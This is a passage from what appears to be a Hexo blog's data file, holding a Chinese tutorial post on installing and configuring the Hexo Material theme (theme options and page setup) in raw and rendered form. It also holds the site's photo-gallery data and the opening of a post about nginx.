hexo-material\n```\n\n让后将文件复制到 Material 主题文件中\n\n## 配置主题\n\n### head\n* favicon: 网站的 favicon\n* high_res_favicon: 高清 favicon\n* apple_touch_icon: iOS 主屏按钮图标\n* keywords: 网站关键词\n\n### url\n* rss: 设置生成的 rss 或 atom url\n* daily_pic: 设置 daily_pic 模块 点击时跳转的 url\n* logo: 设置 logo 点击时跳转的 url\n\n### scheme\n* Paradox\n默认 Scheme，是 Material 的最初样式。居中布局，图文并茂。\n* Isolation\nParadox 的至简样式，简洁明了。\n\n### uiux\n用于设置主题 UI 与 UX。\n* heme_color: 主题主要颜色。主题的大部分地方使用此颜色。\n* theme_sub_color: 主题辅助颜色。\n* hyperlink_color: 超链接颜色。\n* button_color: 按钮颜色，例如 toTop 或 menu_button。\n* android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。\n* nprogress_color: 页面加载时顶部加载进度条的颜色。\n* nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。\n\n### js_effect\n用来控制 Material 主题中自带的多种 js 特性。\n* fade: 页面加载时部分模块的渐显效果，默认为 true。\n* smoothscroll: 页面平滑滚动特效，默认为 false。\n\n### reading\nentry_excerpt: 首页文章输出摘要的字符长度。默认为 80。\n* entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。\n\n### background\n用于设置站点背景。\n* purecolor: 填入颜色代码。则站点使用纯色背景。\n* bgimg: 背景地址，默认调用 主题文件夹 -> source -> img 中的 bg.png。可更换此图片或者自己填入 url。\n* bing: 用于启用“必应美图”的图片作为背景。\n\n### dropdown\n用于设置 Paradox 侧边栏用户下拉菜单，默认为空。\n```\ndropdown:\n\tpage:\n\t\tlink: \"mailto: someone@example.com\"\n\t\ticon: email\n        divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n```\n\n## 创建文章\n\n### 使用命令行\n```\nhexo new <title>\n```\n手动创建也行\n\n### 格式\n```\nlayout\t  布局\t      post\ntitle\t  标题\t      文件名\ndate\t  建立日期\t    文件建立日期\nupdated\t  更新日期\t    文件更新日期\ntags\t  标签（不适用于分页）\t\ncategories\t           分类（不适用于分页）\t\npermalink\t           覆盖文章网址\t\nthumbnail 缩略图地址\t\ntoc\t      显示 TOC 按钮\t   true\ncomment\t  显示评论\t       true\nnotag\t  不生成标签按钮\tfalse\ntop\t置顶\t false\n```\n\n## 创建「关于我」页面\n新建一个 about 页面：\n```\nhexo new page \"about\"\n```\n\n## 创建「友情链接」页面\n### 创建页面\n在 hexo 目录下的 source 文件夹内创建一个名为 links（只是建议，可根据自己喜好修改）的文件夹。\n然后在文件内创建一个名为 index.md 的 Markdown 文件。\n在 index.md 文件内写入如下内容即可。\n```\n---\ntitle: links\ndate:\nlayout: links\n---\n```\n>title 可修改，layout 不可修改。\n\n### 添加数据\n同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。\n\n然后在文件内创建一个名为 links.yml 的文件。\n\n单个友情链接的格式为：\n```\nName:\n    link: http://example.com\n    avatar: http://example.com/avatar.png\n    descr: \"这是一个描述\"\n```\n\n## 创建「图库」页面\n### 创建页面\n在 hexo 目录下的 source 文件夹内创建一个名为 gallery（只是建议，可根据自己喜好修改）的文件夹。\n\n然后在文件内创建一个名为 index.md 的 Markdown 文件。\n\n在 index.md 文件内写入如下内容即可。\n```\n---\ntitle: gallery\ndate:\nlayout: gallery\n---\n```\n\n### 添加数据\n\n同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。\n\n然后在文件内创建一个名为 gallery.yml 的文件。\n\n单个图片的格式为：\n```\nName:\n\tfull_link: http://example.com/full-image.png\n\tthumb_link: http://example.com/thumb-image.png\n\tdescr: \"这是一个描述\"\n```\n\n## 创建「标签云」页面\n\n### 创建页面\n\n在 hexo 目录下的 source 文件夹内创建一个名为 tags（只是建议，可根据自己喜好修改）的文件夹。\n\n然后在文件内创建一个名为 index.md 的 Markdown 文件。\n\n在 index.md 文件内写入如下内容即可。\n\n```\n---\ntitle: tags\ndate:\nlayout: tags\n---\n```\n\n## 创建「私有」页面\n\n如果某篇文章不想显示在站点中，只需要在 front-matter 中加入\n\n```\nlayout: private\n```","source":"_posts/material主题使用攻略.md","raw":"---\ntitle: material主题使用攻略\ndate: 2017-02-15 19:59:16\ntags: [hexo]\ncategories: 博客搭建\n---\n\n## 安装[Material]\n\n``` bash\nnpm install hexo-meterial\n```\n\n该方法会将主题下载到node_modules文件夹下，找到该文件后，将文件名改为material\n\n### 启用[Material]\n\n找到主题文件下的_config.template.yml 改成 _config.yml\n\n## 更新[Material]\n\n``` bash\nnpm update hexo-material\n```\n\n让后将文件复制到 Material 主题文件中\n\n## 配置主题\n\n### head\n* favicon: 网站的 favicon\n* high_res_favicon: 高清 favicon\n* apple_touch_icon: iOS 主屏按钮图标\n* keywords: 网站关键词\n\n### url\n* rss: 设置生成的 rss 或 atom url\n* daily_pic: 设置 daily_pic 模块 点击时跳转的 url\n* logo: 设置 logo 点击时跳转的 url\n\n### scheme\n* Paradox\n默认 Scheme，是 Material 的最初样式。居中布局，图文并茂。\n* Isolation\nParadox 的至简样式，简洁明了。\n\n### uiux\n用于设置主题 UI 与 UX。\n* heme_color: 主题主要颜色。主题的大部分地方使用此颜色。\n* theme_sub_color: 主题辅助颜色。\n* hyperlink_color: 超链接颜色。\n* button_color: 按钮颜色，例如 toTop 或 menu_button。\n* android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。\n* nprogress_color: 页面加载时顶部加载进度条的颜色。\n* nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。\n\n### js_effect\n用来控制 Material 主题中自带的多种 js 特性。\n* fade: 页面加载时部分模块的渐显效果，默认为 true。\n* smoothscroll: 页面平滑滚动特效，默认为 false。\n\n### reading\nentry_excerpt: 首页文章输出摘要的字符长度。默认为 80。\n* entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。\n\n### background\n用于设置站点背景。\n* purecolor: 填入颜色代码。则站点使用纯色背景。\n* bgimg: 背景地址，默认调用 主题文件夹 -> source -> img 中的 bg.png。可更换此图片或者自己填入 url。\n* bing: 用于启用“必应美图”的图片作为背景。\n\n### dropdown\n用于设置 Paradox 侧边栏用户下拉菜单，默认为空。\n```\ndropdown:\n\tpage:\n\t\tlink: \"mailto: someone@example.com\"\n\t\ticon: email\n        divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n```\n\n## 创建文章\n\n### 使用命令行\n```\nhexo new <title>\n```\n手动创建也行\n\n### 格式\n```\nlayout\t  布局\t      post\ntitle\t  标题\t      文件名\ndate\t  建立日期\t    文件建立日期\nupdated\t  更新日期\t    文件更新日期\ntags\t  标签（不适用于分页）\t\ncategories\t           分类（不适用于分页）\t\npermalink\t           覆盖文章网址\t\nthumbnail 缩略图地址\t\ntoc\t      显示 TOC 按钮\t   true\ncomment\t  显示评论\t       true\nnotag\t  不生成标签按钮\tfalse\ntop\t置顶\t false\n```\n\n## 创建「关于我」页面\n新建一个 about 页面：\n```\nhexo new page \"about\"\n```\n\n## 创建「友情链接」页面\n### 创建页面\n在 hexo 目录下的 source 文件夹内创建一个名为 links（只是建议，可根据自己喜好修改）的文件夹。\n然后在文件内创建一个名为 index.md 的 Markdown 文件。\n在 index.md 文件内写入如下内容即可。\n```\n---\ntitle: links\ndate:\nlayout: links\n---\n```\n>title 可修改，layout 不可修改。\n\n### 添加数据\n同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。\n\n然后在文件内创建一个名为 links.yml 的文件。\n\n单个友情链接的格式为：\n```\nName:\n    link: http://example.com\n    avatar: http://example.com/avatar.png\n    descr: \"这是一个描述\"\n```\n\n## 创建「图库」页面\n### 创建页面\n在 hexo 目录下的 source 文件夹内创建一个名为 gallery（只是建议，可根据自己喜好修改）的文件夹。\n\n然后在文件内创建一个名为 index.md 的 Markdown 文件。\n\n在 index.md 文件内写入如下内容即可。\n```\n---\ntitle: gallery\ndate:\nlayout: gallery\n---\n```\n\n### 添加数据\n\n同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。\n\n然后在文件内创建一个名为 gallery.yml 的文件。\n\n单个图片的格式为：\n```\nName:\n\tfull_link: http://example.com/full-image.png\n\tthumb_link: http://example.com/thumb-image.png\n\tdescr: \"这是一个描述\"\n```\n\n## 创建「标签云」页面\n\n### 创建页面\n\n在 hexo 目录下的 source 文件夹内创建一个名为 tags（只是建议，可根据自己喜好修改）的文件夹。\n\n然后在文件内创建一个名为 index.md 的 Markdown 文件。\n\n在 index.md 文件内写入如下内容即可。\n\n```\n---\ntitle: tags\ndate:\nlayout: tags\n---\n```\n\n## 创建「私有」页面\n\n如果某篇文章不想显示在站点中，只需要在 front-matter 中加入\n\n```\nlayout: private\n```","slug":"material主题使用攻略","published":1,"updated":"2018-01-22T05:59:38.833Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y58001avzqh5zjapr8m","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"安装-Material\"><a href=\"#安装-Material\" class=\"headerlink\" title=\"安装[Material]\"></a>安装[Material]</h2><pre><code class=\"bash\">npm install hexo-meterial\n</code></pre>\n<p>该方法会将主题下载到node_modules文件夹下，找到该文件后，将文件名改为material</p>\n<h3 id=\"启用-Material\"><a href=\"#启用-Material\" class=\"headerlink\" title=\"启用[Material]\"></a>启用[Material]</h3><p>找到主题文件下的_config.template.yml 改成 _config.yml</p>\n<h2 id=\"更新-Material\"><a href=\"#更新-Material\" class=\"headerlink\" title=\"更新[Material]\"></a>更新[Material]</h2><pre><code class=\"bash\">npm update hexo-material\n</code></pre>\n<p>让后将文件复制到 Material 主题文件中</p>\n<h2 id=\"配置主题\"><a href=\"#配置主题\" class=\"headerlink\" title=\"配置主题\"></a>配置主题</h2><h3 id=\"head\"><a href=\"#head\" class=\"headerlink\" title=\"head\"></a>head</h3><ul>\n<li>favicon: 网站的 favicon</li>\n<li>high_res_favicon: 高清 favicon</li>\n<li>apple_touch_icon: iOS 主屏按钮图标</li>\n<li>keywords: 网站关键词</li>\n</ul>\n<h3 id=\"url\"><a href=\"#url\" class=\"headerlink\" title=\"url\"></a>url</h3><ul>\n<li>rss: 设置生成的 rss 或 atom url</li>\n<li>daily_pic: 设置 daily_pic 模块 点击时跳转的 url</li>\n<li>logo: 设置 logo 点击时跳转的 url</li>\n</ul>\n<h3 id=\"scheme\"><a href=\"#scheme\" class=\"headerlink\" title=\"scheme\"></a>scheme</h3><ul>\n<li>Paradox<br>默认 Scheme，是 Material 的最初样式。居中布局，图文并茂。</li>\n<li>Isolation<br>Paradox 的至简样式，简洁明了。</li>\n</ul>\n<h3 id=\"uiux\"><a href=\"#uiux\" class=\"headerlink\" title=\"uiux\"></a>uiux</h3><p>用于设置主题 UI 与 UX。</p>\n<ul>\n<li>heme_color: 主题主要颜色。主题的大部分地方使用此颜色。</li>\n<li>theme_sub_color: 主题辅助颜色。</li>\n<li>hyperlink_color: 超链接颜色。</li>\n<li>button_color: 按钮颜色，例如 toTop 或 menu_button。</li>\n<li>android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。</li>\n<li>nprogress_color: 页面加载时顶部加载进度条的颜色。</li>\n<li>nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。</li>\n</ul>\n<h3 id=\"js-effect\"><a href=\"#js-effect\" class=\"headerlink\" title=\"js_effect\"></a>js_effect</h3><p>用来控制 Material 主题中自带的多种 js 特性。</p>\n<ul>\n<li>fade: 页面加载时部分模块的渐显效果，默认为 true。</li>\n<li>smoothscroll: 页面平滑滚动特效，默认为 false。</li>\n</ul>\n<h3 id=\"reading\"><a href=\"#reading\" class=\"headerlink\" title=\"reading\"></a>reading</h3><p>entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。</p>\n<ul>\n<li>entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。</li>\n</ul>\n<h3 id=\"background\"><a href=\"#background\" class=\"headerlink\" title=\"background\"></a>background</h3><p>用于设置站点背景。</p>\n<ul>\n<li>purecolor: 填入颜色代码。则站点使用纯色背景。</li>\n<li>bgimg: 背景地址，默认调用 主题文件夹 -&gt; source -&gt; img 中的 bg.png。可更换此图片或者自己填入 url。</li>\n<li>bing: 用于启用“必应美图”的图片作为背景。</li>\n</ul>\n<h3 id=\"dropdown\"><a href=\"#dropdown\" class=\"headerlink\" title=\"dropdown\"></a>dropdown</h3><p>用于设置 Paradox 侧边栏用户下拉菜单，默认为空。</p>\n<pre><code>dropdown:\n    page:\n        link: &quot;mailto: someone@example.com&quot;\n        icon: email\n        divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n</code></pre><h2 id=\"创建文章\"><a href=\"#创建文章\" class=\"headerlink\" title=\"创建文章\"></a>创建文章</h2><h3 id=\"使用命令行\"><a href=\"#使用命令行\" class=\"headerlink\" title=\"使用命令行\"></a>使用命令行</h3><pre><code>hexo new &lt;title&gt;\n</code></pre><p>手动创建也行</p>\n<h3 id=\"格式\"><a href=\"#格式\" class=\"headerlink\" title=\"格式\"></a>格式</h3><pre><code>layout      布局          post\ntitle      标题          文件名\ndate      建立日期        文件建立日期\nupdated      更新日期        文件更新日期\ntags      标签（不适用于分页）    \ncategories               分类（不适用于分页）    \npermalink               覆盖文章网址    \nthumbnail 缩略图地址    \ntoc          显示 TOC 按钮       true\ncomment      显示评论           true\nnotag      不生成标签按钮    false\ntop    置顶     false\n</code></pre><h2 id=\"创建「关于我」页面\"><a href=\"#创建「关于我」页面\" class=\"headerlink\" title=\"创建「关于我」页面\"></a>创建「关于我」页面</h2><p>新建一个 about 页面：</p>\n<pre><code>hexo new page &quot;about&quot;\n</code></pre><h2 id=\"创建「友情链接」页面\"><a href=\"#创建「友情链接」页面\" class=\"headerlink\" title=\"创建「友情链接」页面\"></a>创建「友情链接」页面</h2><h3 id=\"创建页面\"><a href=\"#创建页面\" class=\"headerlink\" title=\"创建页面\"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 links（只是建议，可根据自己喜好修改）的文件夹。<br>然后在文件内创建一个名为 index.md 的 Markdown 文件。<br>在 index.md 文件内写入如下内容即可。</p>\n<pre><code>---\ntitle: links\ndate:\nlayout: links\n---\n</code></pre><blockquote>\n<p>title 可修改，layout 不可修改。</p>\n</blockquote>\n<h3 id=\"添加数据\"><a href=\"#添加数据\" class=\"headerlink\" title=\"添加数据\"></a>添加数据</h3><p>同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。</p>\n<p>然后在文件内创建一个名为 links.yml 的文件。</p>\n<p>单个友情链接的格式为：</p>\n<pre><code>Name:\n    link: http://example.com\n    avatar: http://example.com/avatar.png\n    descr: &quot;这是一个描述&quot;\n</code></pre><h2 id=\"创建「图库」页面\"><a href=\"#创建「图库」页面\" class=\"headerlink\" title=\"创建「图库」页面\"></a>创建「图库」页面</h2><h3 id=\"创建页面-1\"><a href=\"#创建页面-1\" class=\"headerlink\" title=\"创建页面\"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 gallery（只是建议，可根据自己喜好修改）的文件夹。</p>\n<p>然后在文件内创建一个名为 index.md 的 Markdown 文件。</p>\n<p>在 index.md 文件内写入如下内容即可。</p>\n<pre><code>---\ntitle: gallery\ndate:\nlayout: gallery\n---\n</code></pre><h3 id=\"添加数据-1\"><a href=\"#添加数据-1\" class=\"headerlink\" title=\"添加数据\"></a>添加数据</h3><p>同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。</p>\n<p>然后在文件内创建一个名为 gallery.yml 的文件。</p>\n<p>单个图片的格式为：</p>\n<pre><code>Name:\n    full_link: http://example.com/full-image.png\n    thumb_link: http://example.com/thumb-image.png\n    descr: &quot;这是一个描述&quot;\n</code></pre><h2 id=\"创建「标签云」页面\"><a href=\"#创建「标签云」页面\" class=\"headerlink\" title=\"创建「标签云」页面\"></a>创建「标签云」页面</h2><h3 id=\"创建页面-2\"><a href=\"#创建页面-2\" class=\"headerlink\" title=\"创建页面\"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 tags（只是建议，可根据自己喜好修改）的文件夹。</p>\n<p>然后在文件内创建一个名为 index.md 的 Markdown 文件。</p>\n<p>在 index.md 文件内写入如下内容即可。</p>\n<pre><code>---\ntitle: tags\ndate:\nlayout: tags\n---\n</code></pre><h2 id=\"创建「私有」页面\"><a href=\"#创建「私有」页面\" class=\"headerlink\" title=\"创建「私有」页面\"></a>创建「私有」页面</h2><p>如果某篇文章不想显示在站点中，只需要在 front-matter 中加入</p>\n<pre><code>layout: private\n</code></pre>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"安装-Material\"><a href=\"#安装-Material\" class=\"headerlink\" title=\"安装[Material]\"></a>安装[Material]</h2><pre><code class=\"bash\">npm install hexo-meterial\n</code></pre>\n<p>该方法会将主题下载到node_modules文件夹下，找到该文件后，将文件名改为material</p>\n<h3 id=\"启用-Material\"><a href=\"#启用-Material\" class=\"headerlink\" title=\"启用[Material]\"></a>启用[Material]</h3><p>找到主题文件下的_config.template.yml 改成 _config.yml</p>\n<h2 id=\"更新-Material\"><a href=\"#更新-Material\" class=\"headerlink\" title=\"更新[Material]\"></a>更新[Material]</h2><pre><code class=\"bash\">npm update hexo-material\n</code></pre>\n<p>让后将文件复制到 Material 主题文件中</p>\n<h2 id=\"配置主题\"><a href=\"#配置主题\" class=\"headerlink\" title=\"配置主题\"></a>配置主题</h2><h3 id=\"head\"><a href=\"#head\" class=\"headerlink\" title=\"head\"></a>head</h3><ul>\n<li>favicon: 网站的 favicon</li>\n<li>high_res_favicon: 高清 favicon</li>\n<li>apple_touch_icon: iOS 主屏按钮图标</li>\n<li>keywords: 网站关键词</li>\n</ul>\n<h3 id=\"url\"><a href=\"#url\" class=\"headerlink\" title=\"url\"></a>url</h3><ul>\n<li>rss: 设置生成的 rss 或 atom url</li>\n<li>daily_pic: 设置 daily_pic 模块 点击时跳转的 url</li>\n<li>logo: 设置 logo 点击时跳转的 url</li>\n</ul>\n<h3 id=\"scheme\"><a href=\"#scheme\" class=\"headerlink\" title=\"scheme\"></a>scheme</h3><ul>\n<li>Paradox<br>默认 Scheme，是 Material 的最初样式。居中布局，图文并茂。</li>\n<li>Isolation<br>Paradox 的至简样式，简洁明了。</li>\n</ul>\n<h3 id=\"uiux\"><a href=\"#uiux\" class=\"headerlink\" title=\"uiux\"></a>uiux</h3><p>用于设置主题 UI 与 UX。</p>\n<ul>\n<li>heme_color: 主题主要颜色。主题的大部分地方使用此颜色。</li>\n<li>theme_sub_color: 主题辅助颜色。</li>\n<li>hyperlink_color: 超链接颜色。</li>\n<li>button_color: 按钮颜色，例如 toTop 或 menu_button。</li>\n<li>android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。</li>\n<li>nprogress_color: 页面加载时顶部加载进度条的颜色。</li>\n<li>nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。</li>\n</ul>\n<h3 id=\"js-effect\"><a href=\"#js-effect\" class=\"headerlink\" title=\"js_effect\"></a>js_effect</h3><p>用来控制 Material 主题中自带的多种 js 特性。</p>\n<ul>\n<li>fade: 页面加载时部分模块的渐显效果，默认为 true。</li>\n<li>smoothscroll: 页面平滑滚动特效，默认为 false。</li>\n</ul>\n<h3 id=\"reading\"><a href=\"#reading\" class=\"headerlink\" title=\"reading\"></a>reading</h3><p>entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。</p>\n<ul>\n<li>entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。</li>\n</ul>\n<h3 id=\"background\"><a href=\"#background\" class=\"headerlink\" title=\"background\"></a>background</h3><p>用于设置站点背景。</p>\n<ul>\n<li>purecolor: 填入颜色代码。则站点使用纯色背景。</li>\n<li>bgimg: 背景地址，默认调用 主题文件夹 -&gt; source -&gt; img 中的 bg.png。可更换此图片或者自己填入 url。</li>\n<li>bing: 用于启用“必应美图”的图片作为背景。</li>\n</ul>\n<h3 id=\"dropdown\"><a href=\"#dropdown\" class=\"headerlink\" title=\"dropdown\"></a>dropdown</h3><p>用于设置 Paradox 侧边栏用户下拉菜单，默认为空。</p>\n<pre><code>dropdown:\n    page:\n        link: &quot;mailto: someone@example.com&quot;\n        icon: email\n        divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n</code></pre><h2 id=\"创建文章\"><a href=\"#创建文章\" class=\"headerlink\" title=\"创建文章\"></a>创建文章</h2><h3 id=\"使用命令行\"><a href=\"#使用命令行\" class=\"headerlink\" title=\"使用命令行\"></a>使用命令行</h3><pre><code>hexo new &lt;title&gt;\n</code></pre><p>手动创建也行</p>\n<h3 id=\"格式\"><a href=\"#格式\" class=\"headerlink\" title=\"格式\"></a>格式</h3><pre><code>layout      布局          post\ntitle      标题          文件名\ndate      建立日期        文件建立日期\nupdated      更新日期        文件更新日期\ntags      标签（不适用于分页）    \ncategories               分类（不适用于分页）    \npermalink               覆盖文章网址    \nthumbnail 缩略图地址    \ntoc          显示 TOC 按钮       true\ncomment      显示评论           true\nnotag      不生成标签按钮    false\ntop    置顶     false\n</code></pre><h2 id=\"创建「关于我」页面\"><a href=\"#创建「关于我」页面\" class=\"headerlink\" title=\"创建「关于我」页面\"></a>创建「关于我」页面</h2><p>新建一个 about 页面：</p>\n<pre><code>hexo new page &quot;about&quot;\n</code></pre><h2 id=\"创建「友情链接」页面\"><a href=\"#创建「友情链接」页面\" class=\"headerlink\" title=\"创建「友情链接」页面\"></a>创建「友情链接」页面</h2><h3 id=\"创建页面\"><a href=\"#创建页面\" class=\"headerlink\" title=\"创建页面\"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 links（只是建议，可根据自己喜好修改）的文件夹。<br>然后在文件内创建一个名为 index.md 的 Markdown 文件。<br>在 index.md 文件内写入如下内容即可。</p>\n<pre><code>---\ntitle: links\ndate:\nlayout: links\n---\n</code></pre><blockquote>\n<p>title 可修改，layout 不可修改。</p>\n</blockquote>\n<h3 id=\"添加数据\"><a href=\"#添加数据\" class=\"headerlink\" title=\"添加数据\"></a>添加数据</h3><p>同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。</p>\n<p>然后在文件内创建一个名为 links.yml 的文件。</p>\n<p>单个友情链接的格式为：</p>\n<pre><code>Name:\n    link: http://example.com\n    avatar: http://example.com/avatar.png\n    descr: &quot;这是一个描述&quot;\n</code></pre><h2 id=\"创建「图库」页面\"><a href=\"#创建「图库」页面\" class=\"headerlink\" title=\"创建「图库」页面\"></a>创建「图库」页面</h2><h3 id=\"创建页面-1\"><a href=\"#创建页面-1\" class=\"headerlink\" title=\"创建页面\"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 gallery（只是建议，可根据自己喜好修改）的文件夹。</p>\n<p>然后在文件内创建一个名为 index.md 的 Markdown 文件。</p>\n<p>在 index.md 文件内写入如下内容即可。</p>\n<pre><code>---\ntitle: gallery\ndate:\nlayout: gallery\n---\n</code></pre><h3 id=\"添加数据-1\"><a href=\"#添加数据-1\" class=\"headerlink\" title=\"添加数据\"></a>添加数据</h3><p>同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。</p>\n<p>然后在文件内创建一个名为 gallery.yml 的文件。</p>\n<p>单个图片的格式为：</p>\n<pre><code>Name:\n    full_link: http://example.com/full-image.png\n    thumb_link: http://example.com/thumb-image.png\n    descr: &quot;这是一个描述&quot;\n</code></pre><h2 id=\"创建「标签云」页面\"><a href=\"#创建「标签云」页面\" class=\"headerlink\" title=\"创建「标签云」页面\"></a>创建「标签云」页面</h2><h3 id=\"创建页面-2\"><a href=\"#创建页面-2\" class=\"headerlink\" title=\"创建页面\"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 tags（只是建议，可根据自己喜好修改）的文件夹。</p>\n<p>然后在文件内创建一个名为 index.md 的 Markdown 文件。</p>\n<p>在 index.md 文件内写入如下内容即可。</p>\n<pre><code>---\ntitle: tags\ndate:\nlayout: tags\n---\n</code></pre><h2 id=\"创建「私有」页面\"><a href=\"#创建「私有」页面\" class=\"headerlink\" title=\"创建「私有」页面\"></a>创建「私有」页面</h2><p>如果某篇文章不想显示在站点中，只需要在 front-matter 中加入</p>\n<pre><code>layout: private\n</code></pre>"},{"title":"nginx配置和问题处理","date":"2018-04-26T03:16:23.000Z","_content":"# nginx \b\b介绍\n\nNginx (\"engine x\") 是一个高性能的 HTTP 和 反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 